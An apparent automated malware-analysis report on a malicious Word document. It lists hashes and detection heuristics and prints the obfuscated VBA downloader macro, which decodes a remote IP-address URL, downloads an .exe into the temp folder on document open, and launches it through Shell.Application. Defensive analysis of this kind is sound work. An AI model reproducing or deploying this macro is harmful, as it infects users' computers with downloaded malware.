Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1c10f76fc15c3ca…

MALICIOUS

Office (OLE)

77.0 KB Created: 2014-11-24 10:19:00 Authoring application: Microsoft Office Word First seen: 2015-01-15
MD5: 93d2d7ad85e4e1f4f2ecf7c4065c4191 SHA-1: 64e642fbaa22440b9a28de38f949233e74f71a07 SHA-256: b1c10f76fc15c3ca6ca89df5335d716241e57951098f7324bbe8c627430a0af6
444 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen entry point, indicating it is designed to execute automatically when the document is opened. Critical heuristics indicate the use of URLDownloadToFile, suggesting the macro's purpose is to download a second-stage payload. The presence of obfuscated code and the ClamAV detection as a downloader further support this conclusion. The specific URL for the payload download is not directly visible in the provided script excerpt, but the intent is clear.

Heuristics 11

  • ClamAV: Doc.Downloader.Macr-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-1
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set щРГШРгвва = CreateObject(BHUIGiukdf("5368656C6C2E4170706C69636174696F6E"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set щРГШРгвва = CreateObject(BHUIGiukdf("5368656C6C2E4170706C69636174696F6E"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        тОРШавп = Environ(BHUIGiukdf("54454D50")) & BHUIGiukdf("5C3156324D555932585759534658512E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32449 bytes
SHA-256: 71fdf6e244f59ec7244cbbe3b9762559280dbc82779fbfd1d31d018eccbee2d4
Detection
ClamAV: Win.Downloader.Drixed-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
ByVal fghfgDf As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
ByVal fghfgDf As Long) As Long
#End If


Sub зРРРРап()
If 951488 = 951488 + 1 Then End
If 7455 < 79 Then
If 231455 = 231455 + 1 Then End
If 1981 < 43 Then
If 214248 = 214248 + 1 Then End
If 4777 < 33 Then
        MsgBox (BHUIGiukdf("4A6B45596B58466C3338"))
End If
If Len(BHUIGiukdf("6A6E506A52786F7631313938")) = Len(BHUIGiukdf("4D58434A614C644A")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("564E434B657952703435"))

End If
If Len(BHUIGiukdf("4667596C786A526235383839")) = Len(BHUIGiukdf("564D56416F754D71")) Then
If 252271 = 252271 + 1 Then End
If 7315 < 31 Then
        MsgBox (BHUIGiukdf("7145734248416C463631"))
End If
If Len(BHUIGiukdf("55654E697674546331333134")) = Len(BHUIGiukdf("4566694E556F7878")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 533546 = 533546 + 1 Then End
If 6161 < 65 Then
        MsgBox (BHUIGiukdf("4C6F6849634349583336"))
End If
If Len(BHUIGiukdf("6C6B636C5063657A31393639")) = Len(BHUIGiukdf("5744504C754D796D")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("6A6C65624A66735A3738"))


End If
If Len(BHUIGiukdf("7853674A6C754B6132333534")) = Len(BHUIGiukdf("4E69416B4852586C")) Then
If 993393 = 993393 + 1 Then End
If 2768 < 22 Then
If 741439 = 741439 + 1 Then End
If 8414 < 27 Then
        MsgBox (BHUIGiukdf("537670697479646A3239"))
End If
If Len(BHUIGiukdf("41444C4F6268645933343132")) = Len(BHUIGiukdf("516C714B73795A6B")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("6D4C6863484956413834"))

End If
If Len(BHUIGiukdf("4D7A7875656F6C5536363637")) = Len(BHUIGiukdf("63634F556E59784E")) Then
If 749912 = 749912 + 1 Then End
If 9134 < 96 Then
        MsgBox (BHUIGiukdf("7064566564504B463637"))
End If
If Len(BHUIGiukdf("434A667A6543515934313333")) = Len(BHUIGiukdf("626441456E6D4642")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 137944 = 137944 + 1 Then End
If 9856 < 32 Then
        MsgBox (BHUIGiukdf("485854636E6558473234"))
End If
If Len(BHUIGiukdf("597168564D64437434383535")) = Len(BHUIGiukdf("484A597559657348")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 565412 = 565412 + 1 Then End
If 3331 < 99 Then
If 811585 = 811585 + 1 Then End
If 1849 < 94 Then
        MsgBox (BHUIGiukdf("734E725458534F593635"))
End If
If Len(BHUIGiukdf("516F71676964724434373438")) = Len(BHUIGiukdf("66526347544F7574")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("6E535473585A79743933"))

End If
If Len(BHUIGiukdf("686167536A53756D37323339")) = Len(BHUIGiukdf("737363527648426C")) Then
If 493615 = 493615 + 1 Then End
If 9729 < 54 Then
        MsgBox (BHUIGiukdf("76426C78476E55663835"))
End If
If Len(BHUIGiukdf("5876755463724D5834363238")) = Len(BHUIGiukdf("4A4F686359695157")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 448447 = 448447 + 1 Then End
If 6128 < 66 Then
        MsgBox (BHUIGiukdf("4B664B6E7675665A3337"))
End If
If Len(BHUIGiukdf("6B6342715155494931313237")) = Len(BHUIGiukdf("4D4C73516F725161")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
аргШавп



End Sub
Sub AutoOpen()
If 723337 = 723337 + 1 Then End
If 6719 < 25 Then
If 774995 = 774995 + 1 Then End
If 5681 < 52 Then
If 443799 = 443799 + 1 Then End
If 8211 < 25 Then
        MsgBox (BHUIGiukdf("6D636A41556E436C3839"))
End If
If Len(BHUIGiukdf("4541586D536B536A33323239")) = Len(BHUIGiukdf("4469644576697A7A")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("6C4E526D414C644C3735"))

End If
If Len(BHUIGiukdf("644255776261785939363839")) = Len(BHUIGiukdf("654865646E704350")) Then
If 925995 = 925995 + 1 Then End
If 8181 < 76 Then
        MsgBox (BHUIGiukdf("6C7A7865434576673735"))
End If
If Len(BHUIGiukdf("6E77496D7678744632313839")) = Len(BHUIGiukdf("654A5757574D6F79")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 122267 = 122267 + 1 Then End
If 5995 < 27 Then
        MsgBox (BHUIGiukdf("7464714E4D4D456A3537"))
End If
If Len(BHUIGiukdf("4153426F5A78484239393134")) = Len(BHUIGiukdf("6343756151414942")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("44736D725447544C3237"))


End If
If Len(BHUIGiukdf("456E7254424E596F31373238")) = Len(BHUIGiukdf("625164636972766F")) Then
If 873543 = 873543 + 1 Then End
If 9735 < 31 Then
If 356129 = 356129 + 1 Then End
If 4396 < 47 Then
        MsgBox (BHUIGiukdf("557849717A7675733139"))
End If
If Len(BHUIGiukdf("7554475767425A6B38323134")) = Len(BHUIGiukdf("5678715168696578")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("4A466C674F764C6A3333"))

End If
If Len(BHUIGiukdf("5565654765494D5934363334")) = Len(BHUIGiukdf("4A4F6C5647766F6B")) Then
If 995555 = 995555 + 1 Then End
If 4848 < 71 Then
        MsgBox (BHUIGiukdf("567A5968716F58443435"))
End If
If Len(BHUIGiukdf("75797369684E505038373537")) = Len(BHUIGiukdf("6A53456A7A484E77")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 761593 = 761593 + 1 Then End
If 9349 < 88 Then
        MsgBox (BHUIGiukdf("696365594E61796B3539"))
End If
If Len(BHUIGiukdf("577A6C594A66567034333438")) = Len(BHUIGiukdf("6363547566517A5A")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 155818 = 155818 + 1 Then End
If 6177 < 65 Then
If 994255 = 994255 + 1 Then End
If 4834 < 72 Then
        MsgBox (BHUIGiukdf("5672624D566A6F4A3436"))
End If
If Len(BHUIGiukdf("756974446569564638373333")) = Len(BHUIGiukdf("6A46775847566462")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("626C63426A4C6F633838"))

End If
If Len(BHUIGiukdf("54444F6A4B53474331393735")) = Len(BHUIGiukdf("6F6F584A68704C68")) Then
If 221525 = 221525 + 1 Then End
If 9156 < 95 Then
        MsgBox (BHUIGiukdf("5A4E6552744859713935"))
End If
If Len(BHUIGiukdf("4F6C6758594F645034393535")) = Len(BHUIGiukdf("73475A7865756A7A")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 734238 = 734238 + 1 Then End
If 2234 < 88 Then
        MsgBox (BHUIGiukdf("537762574D494A473239"))
End If
If Len(BHUIGiukdf("6F4D66724573656336313333")) = Len(BHUIGiukdf("7479775851685763")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
    зРРРРап



End Sub
Sub Workbook_Open()
If 338336 = 338336 + 1 Then End
If 5127 < 45 Then
If 244889 = 244889 + 1 Then End
If 7332 < 39 Then
If 765771 = 765771 + 1 Then End
If 3275 < 37 Then
        MsgBox (BHUIGiukdf("755A5A48784978473531"))
End If
If Len(BHUIGiukdf("665846695641656737323834")) = Len(BHUIGiukdf("486B614F77427955")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("714141494E6957433631"))

End If
If Len(BHUIGiukdf("494E674A4F50695431323431")) = Len(BHUIGiukdf("457363504A474E52")) Then
If 224464 = 224464 + 1 Then End
If 1821 < 42 Then
        MsgBox (BHUIGiukdf("4E4D674A754C6B573434"))
End If
If Len(BHUIGiukdf("4869426B41656C7135373238")) = Len(BHUIGiukdf("4E46686E664C5558")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 321636 = 321636 + 1 Then End
If 2258 < 16 Then
        MsgBox (BHUIGiukdf("51746546747078433136"))
End If
If Len(BHUIGiukdf("4A7667795465727735313536")) = Len(BHUIGiukdf("6D574159656E7546")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("4F704A6B54586A4D3137"))


End If
If Len(BHUIGiukdf("6F6C427A4A78534E38393236")) = Len(BHUIGiukdf("5346735A674D476C")) Then
If 826119 = 826119 + 1 Then End
If 6212 < 66 Then
If 224264 = 224264 + 1 Then End
If 5612 < 13 Then
        MsgBox (BHUIGiukdf("4E4C6B4F4F7A45793434"))
End If
If Len(BHUIGiukdf("786C744B6B52474632393334")) = Len(BHUIGiukdf("59427861726D7462")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("766E48624C584D453831"))

End If
If Len(BHUIGiukdf("6A624C414A72656A31313131")) = Len(BHUIGiukdf("4C57797A6641754F")) Then
If 924239 = 924239 + 1 Then End
If 8183 < 76 Then
        MsgBox (BHUIGiukdf("4977545974784A6D3139"))
End If
If Len(BHUIGiukdf("6E6D554965524E6933393832")) = Len(BHUIGiukdf("6B73727672446E73")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 655931 = 655931 + 1 Then End
If 2433 < 56 Then
        MsgBox (BHUIGiukdf("50545A446B684C483131"))
End If
If Len(BHUIGiukdf("4D4F75546375494436333432")) = Len(BHUIGiukdf("726876466F435676")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 349776 = 349776 + 1 Then End
If 6877 < 25 Then
If 358738 = 358738 + 1 Then End
If 8115 < 75 Then
        MsgBox (BHUIGiukdf("496D464A676244733138"))
End If
If Len(BHUIGiukdf("46464E6F486C6D5035343237")) = Len(BHUIGiukdf("6B70644F66486365")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("79794D706E6A70503536"))

End If
If Len(BHUIGiukdf("5A52496C704D776C33323839")) = Len(BHUIGiukdf("53714E4158505174")) Then
If 526627 = 526627 + 1 Then End
If 4833 < 15 Then
        MsgBox (BHUIGiukdf("5466556C494F516C3937"))
End If
If Len(BHUIGiukdf("77416A4D654C534938373432")) = Len(BHUIGiukdf("6A44624471434555")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 921596 = 921596 + 1 Then End
If 8256 < 76 Then
        MsgBox (BHUIGiukdf("6C747452575759673736"))
End If
If Len(BHUIGiukdf("62766A587847644632313535")) = Len(BHUIGiukdf("655745784D736A75")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
    зРРРРап



End Sub
Sub аргШавп()
If 859841 = 859841 + 1 Then End
If 3482 < 67 Then
If 434171 = 434171 + 1 Then End
If 6975 < 65 Then
If 715146 = 715146 + 1 Then End
If 8149 < 24 Then
        MsgBox (BHUIGiukdf("476945474B4363773236"))
End If
If Len(BHUIGiukdf("547764687369765133313538")) = Len(BHUIGiukdf("477A527656564678")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("4B696D6F4549696A3336"))

End If
If Len(BHUIGiukdf("5453516F6D57616931393734")) = Len(BHUIGiukdf("6F69564F4A6C726E")) Then
If 656583 = 656583 + 1 Then End
If 7391 < 77 Then
        MsgBox (BHUIGiukdf("664846426C546A423633"))
End If
If Len(BHUIGiukdf("444E58495979517935363232")) = Len(BHUIGiukdf("68776F6F655A4663")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 539384 = 539384 + 1 Then End
If 4979 < 72 Then
        MsgBox (BHUIGiukdf("6A424A46525957463735"))
End If
If Len(BHUIGiukdf("75646E685648587238383738")) = Len(BHUIGiukdf("6A4C4B7650597147")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("4B556159475366623937"))


End If
If Len(BHUIGiukdf("7A5154624D45657837333831")) = Len(BHUIGiukdf("736B4349596C6B75")) Then
If 832258 = 832258 + 1 Then End
If 4195 < 74 Then
If 451963 = 451963 + 1 Then End
If 3541 < 29 Then
        MsgBox (BHUIGiukdf("744A706C6D656C593533"))
End If
If Len(BHUIGiukdf("5648646C6C71416C36343539")) = Len(BHUIGiukdf("6E73624D47555453")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("576C71436F5562793338"))

End If
If Len(BHUIGiukdf("727848476676676538313134")) = Len(BHUIGiukdf("666575564E674546")) Then
If 543729 = 543729 + 1 Then End
If 4114 < 97 Then
        MsgBox (BHUIGiukdf("456E6D41585071713931"))
End If
If Len(BHUIGiukdf("6C4772656A4D736E31343336")) = Len(BHUIGiukdf("4577777365506E73")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 918538 = 918538 + 1 Then End
If 8936 < 75 Then
        MsgBox (BHUIGiukdf("4F6A6158626265413138"))
End If
If Len(BHUIGiukdf("416872437859646733393335")) = Len(BHUIGiukdf("6C7562466348446C")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 872224 = 872224 + 1 Then End
If 1447 < 19 Then
If 539385 = 539385 + 1 Then End
If 4979 < 72 Then
        MsgBox (BHUIGiukdf("6A424A51587258783735"))
End If
If Len(BHUIGiukdf("75666E736A66435338383737")) = Len(BHUIGiukdf("6A4D4B6D65726463")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("5A566755487A46643935"))

End If
If Len(BHUIGiukdf("6575786A655A706C37373638")) = Len(BHUIGiukdf("545A4F4A62426451")) Then
If 789496 = 789496 + 1 Then End
If 9528 < 81 Then
        MsgBox (BHUIGiukdf("6C7465475779626C3836"))
End If
If Len(BHUIGiukdf("4C66717669594D7636383431")) = Len(BHUIGiukdf("784F63425465564A")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 756431 = 756431 + 1 Then End
If 5141 < 28 Then
        MsgBox (BHUIGiukdf("514551717257464E3231"))
End If
If Len(BHUIGiukdf("414A6D516374476839313439")) = Len(BHUIGiukdf("63654545546F5967")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
    щРГШрщавп = BHUIGiukdf("687474703A2F2F3137382E37372E37392E3232343A383038302F6D6F70732F706F70732E706870")



If 598177 = 598177 + 1 Then End
If 3832 < 34 Then
If 488414 = 488414 + 1 Then End
If 3461 < 92 Then
If 446547 = 446547 + 1 Then End
If 6299 < 66 Then
        MsgBox (BHUIGiukdf("4C6749454C7173793337"))
End If
If Len(BHUIGiukdf("6C6347667951597331313138")) = Len(BHUIGiukdf("6F677174754D7568")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("624D5769526F766D3834"))

End If
If Len(BHUIGiukdf("6869524F426C625037343639")) = Len(BHUIGiukdf("736C444175636A50")) Then
If 264572 = 264572 + 1 Then End
If 6438 < 97 Then
        MsgBox (BHUIGiukdf("71506264484E764D3632"))
End If
If Len(BHUIGiukdf("6C467279574A644831343336")) = Len(BHUIGiukdf("456D776755555A41")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 621899 = 621899 + 1 Then End
If 8944 < 84 Then
        MsgBox (BHUIGiukdf("6572654E5373774B3536"))
End If
If Len(BHUIGiukdf("48496C4E5A63664F33383433")) = Len(BHUIGiukdf("6C72546E4E576A7A")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("6F64656246626B4B3637"))


End If
If Len(BHUIGiukdf("7A73794153556E5937383331")) = Len(BHUIGiukdf("4B7A416C44486150")) Then
If 392834 = 392834 + 1 Then End
If 5754 < 52 Then
If 886444 = 886444 + 1 Then End
If 6441 < 32 Then
        MsgBox (BHUIGiukdf("4A4D53704E455A633334"))
End If
If Len(BHUIGiukdf("556977506C44454431343539")) = Len(BHUIGiukdf("456C525A414A6D53")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("534C71426356787A3234"))

End If
If Len(BHUIGiukdf("737A6B4F50764B6939363632")) = Len(BHUIGiukdf("477652706957576E")) Then
If 746777 = 746777 + 1 Then End
If 9292 < 96 Then
        MsgBox (BHUIGiukdf("7068454B586C47733638"))
End If
If Len(BHUIGiukdf("4F76515A6F4C706B34313931")) = Len(BHUIGiukdf("73575665546A6650")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 879143 = 879143 + 1 Then End
If 7377 < 31 Then
        MsgBox (BHUIGiukdf("4B47724B56486A623333"))
End If
If Len(BHUIGiukdf("4972446C6B4E6B4731333836")) = Len(BHUIGiukdf("5268587162727046")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 735738 = 735738 + 1 Then End
If 6934 < 26 Then
If 828985 = 828985 + 1 Then End
If 1824 < 94 Then
        MsgBox (BHUIGiukdf("64614861464A677A3635"))
End If
If Len(BHUIGiukdf("4E5275615472694D35383233")) = Len(BHUIGiukdf("5A616C417A6E7164")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("536D455A6C6573583239"))

End If
If Len(BHUIGiukdf("5A4F64654464647133333536")) = Len(BHUIGiukdf("5368527376654158")) Then
If 455291 = 455291 + 1 Then End
If 8345 < 26 Then
        MsgBox (BHUIGiukdf("6D4552584A4C79793831"))
End If
If Len(BHUIGiukdf("525570465850576533333433")) = Len(BHUIGiukdf("46644143496E7146")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 621899 = 621899 + 1 Then End
If 8943 < 84 Then
        MsgBox (BHUIGiukdf("6B636673786579743739"))
End If
If Len(BHUIGiukdf("4A55775749456E7335333635")) = Len(BHUIGiukdf("6C65497779614545")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
    тОРШавп = Environ(BHUIGiukdf("54454D50")) & BHUIGiukdf("5C3156324D555932585759534658512E657865")



If 486314 = 486314 + 1 Then End
If 6853 < 82 Then
If 767671 = 767671 + 1 Then End
If 3295 < 37 Then
If 414716 = 414716 + 1 Then End
If 9921 < 56 Then
        MsgBox (BHUIGiukdf("76697841517450543836"))
End If
If Len(BHUIGiukdf("575570506D49436634383339")) = Len(BHUIGiukdf("4A4B6C5A5A534764")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("794153447A5276643531"))

End If
If Len(BHUIGiukdf("645856744563745137313133")) = Len(BHUIGiukdf("486B715461576F72")) Then
If 833211 = 833211 + 1 Then End
If 6264 < 67 Then
        MsgBox (BHUIGiukdf("625A6D59476650443831"))
End If
If Len(BHUIGiukdf("6B416349536D4C6E31323732")) = Len(BHUIGiukdf("6F6B4C6244526D52")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 917156 = 917156 + 1 Then End
If 4964 < 72 Then
        MsgBox (BHUIGiukdf("566F4B4B584348683133"))
End If
If Len(BHUIGiukdf("756463506146546438383733")) = Len(BHUIGiukdf("6A4C464D44524D56")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("764349656D706F743834"))


End If
If Len(BHUIGiukdf("67736B52466C706D39383632")) = Len(BHUIGiukdf("764B4F446E707679")) Then
If 989731 = 989731 + 1 Then End
If 8574 < 28 Then
If 643882 = 643882 + 1 Then End
If 8164 < 76 Then
        MsgBox (BHUIGiukdf("68557668656E536F3732"))
End If
If Len(BHUIGiukdf("474A594E6761756735343835")) = Len(BHUIGiukdf("6B644C6E53767155")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("50454D69474E50623131"))

End If
If Len(BHUIGiukdf("6E4A454F6F71514732343832")) = Len(BHUIGiukdf("5063574B57614E6E")) Then
If 578713 = 578713 + 1 Then End
If 9671 < 38 Then
        MsgBox (BHUIGiukdf("414A43766D626C753933"))
End If
If Len(BHUIGiukdf("5057416B626A6F7234353738")) = Len(BHUIGiukdf("4D6E4C6E73796347")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 171911 = 171911 + 1 Then End
If 3544 < 29 Then
        MsgBox (BHUIGiukdf("76597A726C5152643832"))
End If
If Len(BHUIGiukdf("5648704459734E6C37343433")) = Len(BHUIGiukdf("6E737866654F6551")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 323636 = 323636 + 1 Then End
If 8754 < 83 Then
If 396761 = 396761 + 1 Then End
If 5337 < 11 Then
        MsgBox (BHUIGiukdf("6554627356686C4E3531"))
End If
If Len(BHUIGiukdf("6272646D554B524F32373539")) = Len(BHUIGiukdf("4F5052456C494D6C")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("507464514F79626C3136"))

End If
If Len(BHUIGiukdf("4A7676657142794C35313736")) = Len(BHUIGiukdf("6C4D514549786F71")) Then
If 298847 = 298847 + 1 Then End
If 1829 < 94 Then
        MsgBox (BHUIGiukdf("4C7142664455506B3337"))
End If
If Len(BHUIGiukdf("53707A6850464C7434373338")) = Len(BHUIGiukdf("5A4E637553566D6F")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 432698 = 432698 + 1 Then End
If 8299 < 25 Then
        MsgBox (BHUIGiukdf("78777178756D6F6F3839"))
End If
If Len(BHUIGiukdf("546248677373437433313138")) = Len(BHUIGiukdf("47796963567A6448")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
    шРШГавп = URLDownloadToFileA(0&, щРГШрщавп, тОРШавп, 0&, 0&)



If 473541 = 473541 + 1 Then End
If 5561 < 59 Then
If 423497 = 423497 + 1 Then End
If 8927 < 57 Then
If 355438 = 355438 + 1 Then End
If 1586 < 19 Then
        MsgBox (BHUIGiukdf("4F77635A4A4F48683139"))
End If
If Len(BHUIGiukdf("48474F4D6C5A784635343934")) = Len(BHUIGiukdf("6C715877474E6E75")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("78736C6F707841503837"))

End If
If Len(BHUIGiukdf("4C50696B4B4E446C33393236")) = Len(BHUIGiukdf("47586A716172546C")) Then
If 317486 = 317486 + 1 Then End
If 2751 < 74 Then
        MsgBox (BHUIGiukdf("687046694679715A3737"))
End If
If Len(BHUIGiukdf("747663496968734B35363539")) = Len(BHUIGiukdf("614F59416A6C654B")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 526779 = 526779 + 1 Then End
If 3119 < 36 Then
        MsgBox (BHUIGiukdf("6F764670726C6C553639"))
End If
If Len(BHUIGiukdf("61784A737A6E456D37313137")) = Len(BHUIGiukdf("524B725376565944")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("465566554E4C4E6C3232"))


End If
If Len(BHUIGiukdf("417352554A794C7039343638")) = Len(BHUIGiukdf("72554A696645585A")) Then
If 872124 = 872124 + 1 Then End
If 7652 < 61 Then
If 331288 = 331288 + 1 Then End
If 7195 < 14 Then
        MsgBox (BHUIGiukdf("676A7943565744723738"))
End If
If Len(BHUIGiukdf("636D514765515A6132393934")) = Len(BHUIGiukdf("5561655647414B53")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("5A566862636C4D413935"))

End If
If Len(BHUIGiukdf("77436C417741656732353631")) = Len(BHUIGiukdf("566C547A4C567555")) Then
If 341137 = 341137 + 1 Then End
If 8938 < 84 Then
        MsgBox (BHUIGiukdf("5166726F524F654D3137"))
End If
If Len(BHUIGiukdf("4A55686E795A4F6C33383437")) = Len(BHUIGiukdf("6D725A615A4E5351")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 543129 = 543129 + 1 Then End
If 1224 < 45 Then
